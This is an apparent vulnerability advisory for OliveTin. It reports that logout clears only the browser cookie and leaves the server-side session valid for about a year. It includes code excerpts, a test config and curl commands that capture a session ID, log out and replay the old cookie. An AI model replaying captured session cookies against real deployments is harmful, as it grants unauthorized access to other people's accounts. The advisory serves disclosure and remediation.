OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session

Summary

OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).

An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.

This is a session management flaw that violates expected logout semantics.

Details

During logout:

// Logout only clears browser cookie
response.Header().Set("Set-Cookie", localCookie.String())

However, the server still accepts the session:

session := sessionStorage.Providers[provider].Sessions[sid]
...
return session

The SID is not deleted from sessionStorage.

Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).

File: api.go, sessions.go, local.go Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior

• Login → receive SID cookie
• Logout → cookie cleared client-side
• Replay old SID manually → still authenticated

Expected:

• Logout invalidates session immediately

Actual:

• Old SID remains usable until expiry

PoC

Minimal config

listenAddressSingleHTTPFrontend: 0.0.0.0:16642
authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: low
      usergroup: users
      password: "$argon2id$..."

actions:
  - title: Dummy
    id: dummy
    shell: "echo dummy"

Reproduction

Login and capture SID:

LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')

Works before logout:

curl -X POST http://localhost:16642/api/WhoAmI \
  -H "Cookie: olivetin-sid-local=$SID"

Logout:

curl -X POST http://localhost:16642/api/Logout \
  -H "Cookie: olivetin-sid-local=$SID"

Replay old cookie:

curl -X POST http://localhost:16642/api/WhoAmI \
  -H "Cookie: olivetin-sid-local=$SID"

Result

User is still authenticated after logout.

Impact

Type:

Session Management Flaw

• Logout Bypass
• Session Replay

Risk:

• Stolen cookies remain valid
• Persistent unauthorized access
• Users falsely believe logout ended the session

Attack scenarios:

• Shared computers
• XSS/session theft
• Proxy logs
• Malware/browser compromise